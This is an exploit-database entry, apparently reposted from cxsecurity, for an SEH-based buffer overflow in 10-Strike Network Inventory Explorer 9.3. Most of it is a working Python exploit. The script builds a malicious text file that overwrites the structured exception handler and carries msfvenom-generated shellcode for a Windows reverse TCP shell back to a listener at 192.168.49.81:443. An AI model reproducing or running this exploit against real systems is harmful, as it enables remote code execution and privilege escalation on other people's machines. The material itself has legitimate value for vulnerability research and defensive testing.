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10-Strike Network Inventory Explorer 9.3 Buffer Overflow

CVE Category Price Severity
CVE-2020-11937 CWE-119 $5,000 Critical
Author Risk Exploitation Type Date
Mehmet Ince High Remote 2022-08-23
CVSS
CVSS:4.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022080068

Below is a copy:

10-Strike Network Inventory Explorer 9.3 Buffer Overflow
I. VULNERABILITY
-------------------------
10-Strike Network Inventory Explorer Version 9.3 - Privilege Escalation through SEH based Buffer Overflow


II. VENDOR
-------------------------
10-Strike Network (https://www.10-strike.com/)


III. DESCRIPTION
-------------------------

10-Strike Network Inventory Explorer until latest version (9.3) is vulnerable to a SEH based Buffer Overflow which leads to code execution or local privilege escalation. The vulnerable part of the program is the functionality to add computers from a text file.


IV. EXPLOIT
-------------------------
# Exploit Title: 10-Strike Network Inventory Explorer Version 9.3 - Privilege Escalation through SEH based Buffer Overflow
# Date: 16/08/2022
# Exploit Author: Ricardo Ruiz (@ricardojoserf)
# Vendor website: https://www.10-strike.com/
# Product website: https://www.10-strike.com/networkinventoryexplorer/
# Usage: Create a file with this script and upload it clicking "Computers" and "Add". It should pop a calculator


from struct import pack


# Bad chars are: \x09\x0a\x0d\x3a\x5c
badchars = (
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
#b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
#b"\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0e\x0f\x10"
)

# msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=192.168.49.81 -b "\x00\x09\x0a\x0d\x3a\x5c\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0e\x0f\x10" -v payload --smallest -f py
payload =  b""
payload += b"\x89\xe3\xdb\xd0\xd9\x73\xf4\x5b\x53\x59\x49\x49"
payload += b"\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43"
payload += b"\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30"
payload += b"\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30"
payload += b"\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
payload += b"\x69\x6c\x79\x78\x4c\x42\x43\x30\x53\x30\x33\x30"
payload += b"\x51\x70\x6e\x69\x6b\x55\x30\x31\x69\x50\x61\x74"
payload += b"\x6c\x4b\x36\x30\x56\x50\x4c\x4b\x50\x52\x76\x6c"
payload += b"\x6e\x6b\x63\x62\x57\x64\x4c\x4b\x32\x52\x45\x78"
payload += b"\x34\x4f\x58\x37\x32\x6a\x54\x66\x56\x51\x49\x6f"
payload += b"\x6e\x4c\x45\x6c\x43\x51\x43\x4c\x74\x42\x34\x6c"
payload += b"\x51\x30\x69\x51\x5a\x6f\x76\x6d\x35\x51\x68\x47"
payload += b"\x4d\x32\x4c\x32\x32\x72\x33\x67\x4e\x6b\x62\x72"
payload += b"\x64\x50\x6e\x6b\x71\x5a\x65\x6c\x6e\x6b\x70\x4c"
payload += b"\x54\x51\x43\x48\x78\x63\x53\x78\x36\x61\x4a\x71"
payload += b"\x46\x31\x4e\x6b\x30\x59\x35\x70\x65\x51\x49\x43"
payload += b"\x4c\x4b\x50\x49\x34\x58\x59\x73\x47\x4a\x32\x69"
payload += b"\x6c\x4b\x66\x54\x6c\x4b\x76\x61\x69\x46\x75\x61"
payload += b"\x69\x6f\x6c\x6c\x69\x51\x5a\x6f\x64\x4d\x66\x61"
payload += b"\x6f\x37\x66\x58\x39\x70\x63\x45\x49\x66\x64\x43"
payload += b"\x73\x4d\x49\x68\x77\x4b\x51\x6d\x66\x44\x43\x45"
payload += b"\x5a\x44\x51\x48\x6c\x4b\x56\x38\x37\x54\x76\x61"
payload += b"\x7a\x73\x35\x36\x4e\x6b\x76\x6c\x30\x4b\x6c\x4b"
payload += b"\x46\x38\x47\x6c\x56\x61\x58\x53\x6e\x6b\x74\x44"
payload += b"\x6e\x6b\x45\x51\x38\x50\x6e\x69\x52\x64\x51\x34"
payload += b"\x37\x54\x33\x6b\x31\x4b\x61\x71\x33\x69\x51\x4a"
payload += b"\x62\x71\x49\x6f\x6b\x50\x31\x4f\x73\x6f\x33\x6a"
payload += b"\x4c\x4b\x62\x32\x5a\x4b\x4e\x6d\x31\x4d\x63\x58"
payload += b"\x55\x63\x55\x62\x43\x30\x73\x30\x73\x58\x33\x47"
payload += b"\x44\x33\x76\x52\x61\x4f\x46\x34\x51\x78\x42\x6c"
payload += b"\x34\x37\x54\x66\x57\x77\x79\x6f\x79\x45\x6e\x58"
payload += b"\x6c\x50\x47\x71\x75\x50\x43\x30\x77\x59\x38\x44"
payload += b"\x30\x54\x36\x30\x45\x38\x67\x59\x6b\x30\x70\x6b"
payload += b"\x43\x30\x79\x6f\x59\x45\x52\x70\x50\x50\x30\x50"
payload += b"\x42\x70\x33\x70\x56\x30\x61\x50\x72\x70\x53\x58"
payload += b"\x4a\x4a\x76\x6f\x79\x4f\x79\x70\x59\x6f\x79\x45"
payload += b"\x6d\x47\x32\x4a\x47\x75\x63\x58\x69\x50\x69\x38"
payload += b"\x34\x71\x33\x61\x65\x38\x74\x42\x45\x50\x75\x51"
payload += b"\x6f\x4b\x4e\x69\x38\x66\x31\x7a\x34\x50\x46\x36"
payload += b"\x31\x47\x32\x48\x6d\x49\x49\x35\x51\x64\x45\x31"
payload += b"\x79\x6f\x69\x45\x4d\x55\x4b\x70\x53\x44\x56\x6c"
payload += b"\x49\x6f\x72\x6e\x46\x68\x64\x35\x78\x6c\x71\x78"
payload += b"\x38\x70\x6d\x65\x79\x32\x42\x76\x49\x6f\x68\x55"
payload += b"\x63\x58\x52\x43\x30\x6d\x75\x34\x33\x30\x6c\x49"
payload += b"\x6a\x43\x63\x67\x52\x77\x33\x67\x50\x31\x79\x66"
payload += b"\x30\x6a\x62\x32\x53\x69\x76\x36\x59\x72\x4b\x4d"
payload += b"\x65\x36\x6b\x77\x43\x74\x46\x44\x37\x4c\x47\x71"
payload += b"\x56\x61\x4e\x6d\x73\x74\x77\x54\x66\x70\x4a\x66"
payload += b"\x33\x30\x43\x74\x30\x54\x70\x50\x51\x46\x76\x36"
payload += b"\x36\x36\x51\x56\x30\x56\x30\x4e\x72\x76\x62\x76"
payload += b"\x56\x33\x56\x36\x62\x48\x63\x49\x6a\x6c\x75\x6f"
payload += b"\x4f\x76\x59\x6f\x49\x45\x4d\x59\x6d\x30\x52\x6e"
payload += b"\x70\x56\x61\x56\x59\x6f\x44\x70\x35\x38\x53\x38"
payload += b"\x6c\x47\x55\x4d\x61\x70\x6b\x4f\x79\x45\x4d\x6b"
payload += b"\x7a\x50\x48\x35\x4d\x72\x43\x66\x50\x68\x6c\x66"
payload += b"\x7a\x35\x4d\x6d\x6f\x6d\x59\x6f\x4b\x65\x65\x6c"
payload += b"\x46\x66\x63\x4c\x55\x5a\x6b\x30\x6b\x4b\x6d\x30"
payload += b"\x51\x65\x75\x55\x4f\x4b\x72\x67\x72\x33\x52\x52"
payload += b"\x72\x4f\x63\x5a\x35\x50\x61\x43\x79\x6f\x39\x45"
payload += b"\x41\x41"

#buffer = "A"*100000
buffer =  b"A"*207
buffer += b"\x90\x90\xeb\x04" # bp 0x61e4dab1; g
buffer += b"\xb1\xda\xe4\x61"
buffer += b"\x90"*2
buffer += payload

with open("test.txt", 'wb') as out:
    out.write(buffer)

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